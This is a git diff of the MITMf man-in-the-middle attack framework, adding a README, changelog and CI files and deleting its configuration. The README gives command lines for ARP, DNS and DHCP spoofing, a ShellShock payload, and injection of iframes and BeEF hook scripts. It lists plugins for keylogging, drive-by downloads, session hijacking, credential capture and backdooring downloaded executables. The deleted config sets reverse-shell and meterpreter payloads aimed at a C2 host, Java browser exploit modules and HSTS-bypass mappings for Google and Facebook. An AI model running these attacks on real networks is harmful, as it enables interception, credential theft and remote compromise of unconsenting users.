diff --git a/.coveragerc b/.coveragerc
new file mode 100644
index 0000000..2a138cb
--- /dev/null
+++ b/.coveragerc
@@ -0,0 +1,8 @@
+[run]
+branch = True
+
+[report]
+include = *core*, *libs*, *plugins*
+exclude_lines =
+ pragma: nocover
+ pragma: no cover
diff --git a/.gitignore b/.gitignore
index fad281d..acdb2f6 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,3 +1,63 @@
-*.pyc
/plugins/old_plugins/
backdoored/
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+env/
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# OSX Stuff
+.DS_Store
+._.DS_Store
diff --git a/.travis.yml b/.travis.yml
new file mode 100644
index 0000000..1656a7a
--- /dev/null
+++ b/.travis.yml
@@ -0,0 +1,27 @@
+language: python
+python:
+ - "2.7"
+
+addons:
+ apt:
+ packages:
+ - libpcap0.8-dev
+ - libnetfilter-queue-dev
+ - libssl-dev
+
+notifications:
+ irc:
+ channels:
+ - "irc.freenode.org#MITMf"
+ template:
+ - "%{repository}#%{build_number} (%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}"
+ skip_join: true
+ use_notice: true
+
+install: "pip install -r requirements.txt"
+before_script:
+ - "pip install python-coveralls"
+script:
+ - "nosetests --with-cov"
+after_success:
+ - coveralls
diff --git a/CHANGELOG.md b/CHANGELOG.md
new file mode 100644
index 0000000..f2fc580
--- /dev/null
+++ b/CHANGELOG.md
@@ -0,0 +1,47 @@
+- Added active filtering/injection into the framework
+
+- Fixed a bug in the DHCP poisoner which prevented it from working on windows OS's
+
+- Made some preformance improvements to the ARP spoofing poisoner
+
+- Refactored Appcachepoison , BrowserSniper plugins
+
+- Refactored proxy plugin API
+
+-Inject plugin now uses BeautifulSoup4 to parse and inject HTML/JS
+
+- Added HTA Drive by plugin
+
+- Added the SMBTrap plugin
+
+- Config file now updates on the fly!
+
+- SessionHijacker is replaced with Ferret-NG captures cookies and starts a proxy that will feed them to connected clients
+
+- JavaPwn plugin replaced with BrowserSniper now supports Java, Flash and browser exploits
+
+- Addition of the Screenshotter plugin, able to render screenshots of a client's browser at regular intervals
+
+- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library
+
+- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG'
+
+- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos
+
+- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server
+
+- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014
+
+- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing
+
+- Spoof plugin now supports ICMP, ARP and DHCP spoofing
+
+- Usage of third party tools has been completely removed (e.g. Ettercap)
+
+- FilePwn plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy)
+
+- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server
+
+- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI
+
+- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html)
\ No newline at end of file
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000..7154da3
--- /dev/null
+++ b/CONTRIBUTING.md
@@ -0,0 +1,52 @@
+Contributing
+============
+Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome!
+
+Submitting Issues/Bug Reporting
+=============
+
+Bug reporting is an essential part of any project since it let's people know whats broken!
+
+Before reading on, here's a list of cases where you **shouldn't** be reporting the bug:
+- If you haven't installed MITMf using method described in the [installation](https://github.com/byt3bl33d3r/MITMf/wiki/Installation) intructions. (your fault!)
+- If you're using and old version of the framework (and by old I mean anything else that **isn't** the current version on Github)
+- If you found a bug in a packaged version of MITMf (e.g. Kali Repos), please file a bug report with the distros maintaner
+
+Lately, there has been a sharp **increase** in the volume of bug reports so in order for me to make any sense out of them and to quickly identify, reproduce and push a fix I do pretend a minimal amount of cooperation from the reporter!
+
+Writing the report
+==================
+**Before submitting a bug familiarize yourself with [Github markdown](https://help.github.com/articles/github-flavored-markdown/) and use it in your report!**
+
+After that, open an issue ticket and please describe the bug in **detail!** MITMf has a lot of moving parts so the more detail the better!
+
+Include in the report:
+- The full command string you used
+- The full output of: ```pip freeze```
+- The full output of MITMf in debug mode (append ```--log debug``` to the command you used)
+- The OS you're using (distribution and architecture)
+- The full error traceback (If any)
+- If the bug resides in the way MITMf sends/receives packets, include a link to a pcap containing a full packet capture
+
+Some good & bad examples
+=========================
+
+- How to write a bug report
+
+https://github.com/byt3bl33d3r/MITMf/issues/71
+
+https://github.com/byt3bl33d3r/MITMf/issues/70
+
+https://github.com/byt3bl33d3r/MITMf/issues/64
+
+- How not to write a bug report
+
+https://github.com/byt3bl33d3r/MITMf/issues/35 <-- My personal favorite
+
+https://github.com/byt3bl33d3r/MITMf/issues/139
+
+https://github.com/byt3bl33d3r/MITMf/issues/138
+
+https://github.com/byt3bl33d3r/MITMf/issues/128
+
+https://github.com/byt3bl33d3r/MITMf/issues/52
diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md
new file mode 100644
index 0000000..d0f9f61
--- /dev/null
+++ b/CONTRIBUTORS.md
@@ -0,0 +1,22 @@
+# Intentional contributors (in no particular order)
+
+- @rthijssen
+- @ivangr0zni (Twitter)
+- @xtr4nge
+- @DrDinosaur
+- @secretsquirrel
+- @binkybear
+- @0x27
+- @golind
+- @mmetince
+- @niallmerrigan
+- @auraltension
+- @HAMIDx9
+
+# Unintentional contributors and/or projects that I stole code from
+
+- Metasploit Framework's os.js and Javascript Keylogger module
+- Responder by Laurent Gaffie
+- The Backdoor Factory and BDFProxy
+- ARPWatch module from the Subterfuge Framework
+- Impacket's KarmaSMB script
diff --git a/README.md b/README.md
old mode 100644
new mode 100755
index fcb70c1..2b60ea0
--- a/README.md
+++ b/README.md
@@ -1,55 +1,171 @@
-MITMf V0.9
-==========
+
+
+
+[](https://codeclimate.com/github/byt3bl33d3r/MITMf)
+[](https://travis-ci.org/byt3bl33d3r/MITMf)
+[](https://coveralls.io/github/byt3bl33d3r/MITMf?branch=master)
+
+# MITMf
Framework for Man-In-The-Middle attacks
-Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it
+**This project is no longer being updated. MITMf was written to address the need, at the time, of a modern tool for performing Man-In-The-Middle attacks. Since then many other tools have been created to fill this space, you should probably be using [Bettercap](https://github.com/bettercap/bettercap) as it is far more feature complete and better maintained.**
-This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project.
+Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io
-Availible plugins:
-- Responder - LLMNR, NBT-NS and MDNS poisoner
-- SSLstrip+ - Partially bypass HSTS
-- Spoof - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing and modify DNS queries
-- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type
-- AppCachePoison - Perform app cache poison attacks
-- SessionHijacking - Performs session hijacking attacks, and stores cookies in a firefox profile
-- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients
-- CacheKill - Kills page caching by modifying headers
-- FilePwn - Backdoor executables being sent over http using bdfactory
-- Inject - Inject arbitrary content into HTML content
-- JavaPwn - Performs drive-by attacks on clients with out-of-date java browser plugins
-- jskeylogger - Injects a javascript keylogger into clients webpages
-- Replace - Replace arbitary content in HTML content
-- SMBAuth - Evoke SMB challenge-response auth attempts
-- Upsidedownternet - Flips images 180 degrees
+This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project.
-So far the most significant changes have been:
+Contact me at:
+- Twitter: @byt3bl33d3r
+- IRC on Freenode: #MITMf
+- Email: byt3bl33d3r@protonmail.com
-- Integrated Responder (https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS, and act as a WPAD rogue server.
+**Before submitting issues, please read the relevant [section](https://github.com/byt3bl33d3r/MITMf/wiki/Reporting-a-bug) in the wiki .**
-- Integrated SSLstrip+ (https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014
+Installation
+============
-- Addition of the SessionHijacking plugin, which uses code from FireLamb (https://github.com/sensepost/mana/tree/master/firelamb) to store cookies in a Firefox profile
+Please refer to the wiki for [installation instructions](https://github.com/byt3bl33d3r/MITMf/wiki/Installation)
-- Spoof plugin now supports ICMP, ARP and DHCP spoofing along with DNS tampering
- (DNS tampering code was stolen from https://github.com/DanMcInerney/dnsspoof/)
+Description
+============
+MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving
+existing attacks and techniques.
-- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing!
+Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely
+re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack.
-- Usage of third party tools has been completely removed (e.g. ettercap)
+Features
+========
-- FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory
-https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy
+- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass.
-- Added msfrpc.py for interfacing with Metasploits rpc server
+- As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better),
+allowing users to modify any type of traffic or protocol.
-- Added beefapi.py for interfacing with BeEF's RESTfulAPI
+- The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack.
-- Addition of the app-cache poisoning attack by Krzysztof Kotowicz
+- MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using [Net-Creds](https://github.com/DanMcInerney/net-creds), which is run on startup.
-
How to install on Kali
+- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support.
-MITMf is now in tha kali linux repositories!! wohooooo!!
+Active packet filtering/modification
+====================================
+
+You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!)
+
+For example, here's a stupid little filter that just changes the destination IP address of ICMP packets:
+
+```python
+if packet.haslayer(ICMP):
+ log.info('Got an ICMP packet!')
+ packet.dst = '192.168.1.0'
+```
+
+- Use the ```packet``` variable to access the packet in a Scapy compatible format
+- Use the ```data``` variable to access the raw packet data
+
+Now to use the filter all we need to do is: ```python mitmf.py -F ~/filter.py```
+
+You will probably want to combine that with the **Spoof** plugin to actually intercept packets from someone else ;)
+
+**Note**: you can modify filters on-the-fly without restarting MITMf!
+
+Examples
+========
+
+The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0:
+
+```python mitmf.py -i enp3s0```
+
+ARP poison the whole subnet with the gateway at 192.168.1.1 using the **Spoof** plugin:
+
+```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1```
+
+Same as above + a WPAD rogue proxy server using the **Responder** plugin:
+
+```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad```
+
+ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1:
+
+```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1```
+
+Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file):
+
+```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1```
+
+Enable LLMNR/NBTNS/MDNS spoofing:
+
+```python mitmf.py -i enp3s0 --responder --wredir --nbtns```
+
+Enable DHCP spoofing (the ip pool and subnet are pulled from the config file):
+
+```python mitmf.py -i enp3s0 --spoof --dhcp```
+
+Same as above with a ShellShock payload that will be executed if any client is vulnerable:
+
+```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'```
+
+Inject an HTML IFrame using the **Inject** plugin:
+
+```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com```
+
+Inject a JS script:
+
+```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js```
+
+Start a captive portal that redirects everything to http://SERVER/PATH:
+
+```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH```
+
+Start captive portal at http://your-ip/portal.html using default page /portal.html (thx responder) and /CaptiveClient.exe (not included) from the config/captive folder:
+
+```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive```
+
+Same as above but with hostname captive.portal instead of IP (requires captive.portal to resolve to your IP, e.g. via DNS spoof):
+
+```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns```
+
+Serve a captive portal with an additional SimpleHTTPServer instance serving the LOCALDIR at http://IP:8080 (change port in mitmf.config):
+
+```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR```
+
+Same as above but with hostname:
+
+```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns```
+
+And much much more!
+
+Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)
+
+For a complete list of available options, just run ```python mitmf.py --help```
+
+# Currently available plugins
+
+- **HTA Drive-By** : Injects a fake update notification and prompts clients to download an HTA application
+- **SMBTrap** : Exploits the 'SMB Trap' vulnerability on connected clients
+- **ScreenShotter** : Uses HTML5 Canvas to render an accurate screenshot of a clients browser
+- **Responder** : LLMNR, NBT-NS, WPAD and MDNS poisoner
+- **SSLstrip+** : Partially bypass HSTS
+- **Spoof** : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
+- **BeEFAutorun** : Autoruns BeEF modules based on a client's OS or browser type
+- **AppCachePoison** : Performs HTML5 App-Cache poisoning attacks
+- **Ferret-NG** : Transparently hijacks client sessions
+- **BrowserProfiler** : Attempts to enumerate all browser plugins of connected clients
+- **FilePwn** : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
+- **Inject** : Inject arbitrary content into HTML content
+- **BrowserSniper** : Performs drive-by attacks on clients with out-of-date browser plugins
+- **JSkeylogger** : Injects a Javascript keylogger into a client's webpages
+- **Replace** : Replace arbitrary content in HTML content
+- **SMBAuth** : Evoke SMB challenge-response authentication attempts
+- **Upsidedownternet** : Flips images 180 degrees
+- **Captive** : Creates a captive portal, redirecting HTTP requests using 302
+
+# How to fund my tea & sushi reserve
+
+BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
+
+ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
+
+LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr
-```apt-get install mitmf```
diff --git a/config/app_cache_poison_templates/default.append b/config/app_cache_poison_templates/default.append
index 169e917..9c40f8d 100644
--- a/config/app_cache_poison_templates/default.append
+++ b/config/app_cache_poison_templates/default.append
@@ -34,5 +34,5 @@
AppCache Poison works!
-
%%tamper_url%%
page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.
+
This page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.
\ No newline at end of file
diff --git a/config/app_cache_poison_templates/script.append b/config/app_cache_poison_templates/script.append
index 4289f38..2ff38fb 100644
--- a/config/app_cache_poison_templates/script.append
+++ b/config/app_cache_poison_templates/script.append
@@ -1,2 +1,2 @@
-;console.log('AppCache Poison was here. Google Analytics FTW');
\ No newline at end of file
+;alert('AppCache Poison was here. Google Analytics FTW');
\ No newline at end of file
diff --git a/config/captive/portal.html b/config/captive/portal.html
new file mode 100755
index 0000000..80b0cac
--- /dev/null
+++ b/config/captive/portal.html
@@ -0,0 +1,31 @@
+
+
+Captive Portal
+
+
+
+
+
+
+
Client Required
+
+
+
+
- Access has been blocked. Please download and install the new Captive Portal Client in order to access internet resources.
+
+
+
+
+
+
+
+
diff --git a/config/hta_driveby/flash_setup.hta b/config/hta_driveby/flash_setup.hta
new file mode 100644
index 0000000..38adcf1
--- /dev/null
+++ b/config/hta_driveby/flash_setup.hta
@@ -0,0 +1,4 @@
+
\ No newline at end of file
diff --git a/config/mitmf.cfg b/config/mitmf.cfg
deleted file mode 100644
index cc2d4ca..0000000
--- a/config/mitmf.cfg
+++ /dev/null
@@ -1,355 +0,0 @@
-#MITMf configuration
-
-[MITMf]
-
- #here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` (assuming you config file is in the default directory)
- args=''
-
- #Required BeEF and Metasploit options
- [[BeEF]]
- beefip = 127.0.0.1
- beefport = 3000
- user = beef
- pass = beef
-
- [[Metasploit]]
- msfport = 8080 #Port to start webserver for exploits
- rpcip = 127.0.0.1
- rpcpass = abc123
-
-#-----------------------------------------------------------------------------------------------------------------------------------------#
-
-#Plugin configuration starts here
-
-[Spoof]
-
- [[DHCP]]
- ip_pool = 192.168.2.10-50
- subnet = 255.255.255.0
- dns_server = 192.168.2.20 #optional
-
- [[DNS]]
- www.facebook.com = 192.168.10.1
- google.com = 192.168.10.1
-
-
-[Responder]
-
- #Set these values to On or Off, so you can control which rogue authentication server is turned on.
- SQL = On
- SMB = On
- Kerberos = On
- FTP = On
- POP = On
- ##Listen on 25/TCP, 587/TCP
- SMTP = On
- IMAP = On
- HTTP = On
- HTTPS = On
- DNS = On
- LDAP = On
-
- #Set a custom challenge
- Challenge = 1122334455667788
-
- #Set this to change the default logging file
- SessionLog = Responder-Session.log
-
- #Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
- #RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
- RespondTo =
- #Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
- #RespondTo = WPAD,DEV,PROD,SQLINT
- RespondToName =
-
- #DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
- DontRespondTo =
- #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS
- DontRespondToName =
-
- [[HTTP Server]]
-
- #Set this to On if you want to always serve a specific file to the victim.
- Serve-Always = Off
-
- #Set this to On if you want to serve an executable file each time a .exe is detected in an URL.
- Serve-Exe = Off
-
- #Uncomment and specify a custom file to serve, the file must exist.
- Filename = config/responder/Denied.html
-
- #Specify a custom executable file to serve, the file must exist.
- ExecFilename = config/responder/FixInternet.exe
-
- #Set your custom PAC script
- WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}'
-
- [[HTTPS Server]]
-
- #Change to use your certs
- cert = config/responder/certs/responder.crt
- key = config/responder/certs/responder.key
-
-
-[BeEFAutorun]
- #Example config for the BeefAutorun plugin
-
- mode = oneshot
- #can be set to loop, or oneshot
-
- #in loop mode the plugin will run modules on all hooked browsers every 10 seconds
- #in oneshot mode the plugin will run modules only once per hooked browser
-
- [[ALL]] #Runs specified modules on all hooked browsers
-
- 'Man-In-The-Browser'= '{}'
-
- [[targets]] #Runs specified modules based on OS and Browser type
-
- [[[Windows]]] #Target all Windows versions using Firefox and Internet Explorer
-
- [[[[FF]]]]
- 'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}'
-
- [[[[IE]]]]
- 'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}'
-
- [[[Windows 7]]] #Target only Windows 7 using Chrome
-
- [[[[C]]]]
- 'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}'
-
- [[[Linux]]] #Target Linux platforms using Chrome
-
- [[[[C]]]]
- 'Redirect Browser (Rickroll)' = '{}'
-
-[AppCachePoison]
- # HTML5 AppCache poisioning attack
- # see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack.
- # generic settings for tampering engine
-
- #enable_only_in_useragents=Chrome|Firefox
-
- templates_path=config/app_cache_poison_templates
-
- # when visiting first url matching following expression we will embed iframes with all tamper URLs
- #(to poison the cache for all of them all at once)
-
- mass_poison_url_match=http://.*prezydent\.pl.*
-
- # it's only useful to mass poison chrome because:
- # - it supports iframe sandbox preventing framebusting
- # - does not ask for confirmation
-
- mass_poison_useragent_match=Chrome|Safari
-
- [[test]]
- # any //example.com URL redirects to iana and will display our spoofed content
-
- tamper_url=http://example.com/
- manifest_url=http://www.iana.org/robots.txt #use existing static URL that is rarely seen by the browser user, but exists on the server (no 404!)
- templates=test # which templates to use for spoofing content?
- skip_in_mass_poison=1
-
- [[gmail]]
- #use absolute URLs - system tracks 30x redirects, so you can put any URL that belongs to the redirection loop here
-
- tamper_url=http://mail.google.com/mail/
-
- # manifest has to be of last domain in redirect loop
-
- manifest_url=http://mail.google.com/robots.txt
- templates=default # could be omitted
-
- [[facebook]]
- tamper_url=http://www.facebook.com/
- manifest_url=http://www.facebook.com/robots.txt
- templates=facebook # use different template
-
- [[twitter]]
- tamper_url=http://twitter.com/
- #tamper_url_match=^http://(www\.)?twitter\.com/$
- manifest_url=http://twitter.com/robots.txt
-
- [[testing]]
- tamper_url=http://www.html5rocks.com/en/
- manifest_url=http://www.html5rocks.com/robots.txt
-
- [[ga]]
- # we can also modify non-HTML URLs to append malicious code to them
- # but for them to be cached in HTML5 AppCache they need to be referred in
- # manifest for a poisoned domain
- # if not, they are "only" cached for 10 years :D
-
- raw_url=http://www.google-analytics.com/ga.js
- templates=script
- skip_in_mass_poison=1
- #you can add other scripts in additional sections like jQuery etc.
-
-[JavaPwn]
- # All versions strings without a * are considered vulnerable if clients Java version is <= update version
- # When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
-
- [[Multi]] #Cross platform exploits, yay java! <3
-
- multi/browser/java_rhino = 1.6.0.28, 1.7.0.28
- multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16
- multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26
- multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2
- multi/browser/java_jre17_exec = 1.7.0.6
- multi/browser/java_jre17_jaxws = 1.7.0.7
- multi/browser/java_jre17_jmxbean = 1.7.0.10
- multi/browser/java_jre17_jmxbean_2 = 1.7.0.11
- multi/browser/java_jre17_reflection_types = 1.7.0.17
- multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37
- multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7
- multi/browser/java_jre17_method_handle = 1.7.0.7
- multi/browser/java_jre17_driver_manager = 1.7.0.17
- multi/browser/java_jre17_provider_skeleton = 1.7.0.21
- multi/browser/java_storeimagearray = 1.7.0.21
- multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11
-
- [[Windows]] #These are windows specific
-
- windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7
- windows/browser/java_cmm = 1.6.0.41, 1.7.0.15
- windows/browser/java_mixer_sequencer = 1.6.0.18
-
-[SSLstrip+]
- #here you can configure your domains to bypass HSTS on
- #the format is real.domain.com = fake.domain.com
-
- #for google and gmail
- accounts.google.com = account.google.com
- mail.google.com = gmail.google.com
- accounts.google.se = cuentas.google.se
-
- #for facebook
- www.facebook.com = social.facebook.com
- facebook.com = social.facebook.com
-
-#-----------------------------------------------------------------------------------------------------------------------------------------#
-
-# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
-#
-# Author Joshua Pitts the.midnite.runr 'at' gmail com
-#
-# Copyright (c) 2013-2014, Joshua Pitts
-# All rights reserved.
-#
-# Redistribution and use in source and binary forms, with or without modification,
-# are permitted provided that the following conditions are met:
-#
-# 1. Redistributions of source code must retain the above copyright notice,
-# this list of conditions and the following disclaimer.
-#
-# 2. Redistributions in binary form must reproduce the above copyright notice,
-# this list of conditions and the following disclaimer in the documentation
-# and/or other materials provided with the distribution.
-#
-# 3. Neither the name of the copyright holder nor the names of its contributors
-# may be used to endorse or promote products derived from this software without
-# specific prior written permission.
-#
-# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
-# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-# POSSIBILITY OF SUCH DAMAGE.
-#
-# Tested on Kali-Linux.
-
-#-----------------------------------------------------------------------------------------------------------------------------------------#
-
-[FilePwn]
- [[ZIP]]
- # patchCount is the max number of files to patch in a zip file
- # After the max is reached it will bypass the rest of the files
- # and send on it's way
-
- patchCount = 5
-
- # In Bytes
- maxSize = 40000000
-
- blacklist = .dll, #don't do dlls in a zip file
-
- [[TAR]]
- # patchCount is the max number of files to patch in a tar file
- # After the max is reached it will bypass the rest of the files
- # and send on it's way
-
- patchCount = 5
-
- # In Bytes
- maxSize = 40000000
-
- blacklist = , # a comma is null do not leave blank
-
- [[targets]]
- #MAKE SURE that your settings for host and port DO NOT
- # overlap between different types of payloads
-
- [[[ALL]]] # DEFAULT settings for all targets REQUIRED
-
- LinuxType = ALL # choices: x86/x64/ALL/None
- WindowsType = ALL # choices: x86/x64/ALL/None
- FatPriority = x64 # choices: x86 or x64
-
- FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large
-
- CompressedFiles = True #True/False
- [[[[LinuxIntelx86]]]]
- SHELL = reverse_shell_tcp # This is the BDF syntax
- HOST = 192.168.1.168 # The C2
- PORT = 8888
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
-
- [[[[LinuxIntelx64]]]]
- SHELL = reverse_shell_tcp
- HOST = 192.168.1.16
- PORT = 9999
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x64/shell_reverse_tcp
-
- [[[[WindowsIntelx86]]]]
- PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
- HOST = 192.168.1.16
- PORT = 8443
- SHELL = reverse_tcp_stager
- SUPPLIED_SHELLCODE = None
- ZERO_CERT = False
- PATCH_DLL = True
- MSFPAYLOAD = windows/meterpreter/reverse_tcp
-
- [[[[WindowsIntelx64]]]]
- PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
- HOST = 192.168.1.16
- PORT = 8088
- SHELL = reverse_shell_tcp
- SUPPLIED_SHELLCODE = Nonepatchpatchpatch
- ZERO_CERT = True
- PATCH_DLL = False
- MSFPAYLOAD = windows/x64/shell_reverse_tcp
-
- [[[[MachoIntelx86]]]]
- SHELL = reverse_shell_tcp
- HOST = 192.168.1.16
- PORT = 4444
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x64/shell_reverse_tcp
-
- [[[[MachoIntelx64]]]]
- SHELL = reverse_shell_tcp
- HOST = 192.168.1.16
- PORT = 5555
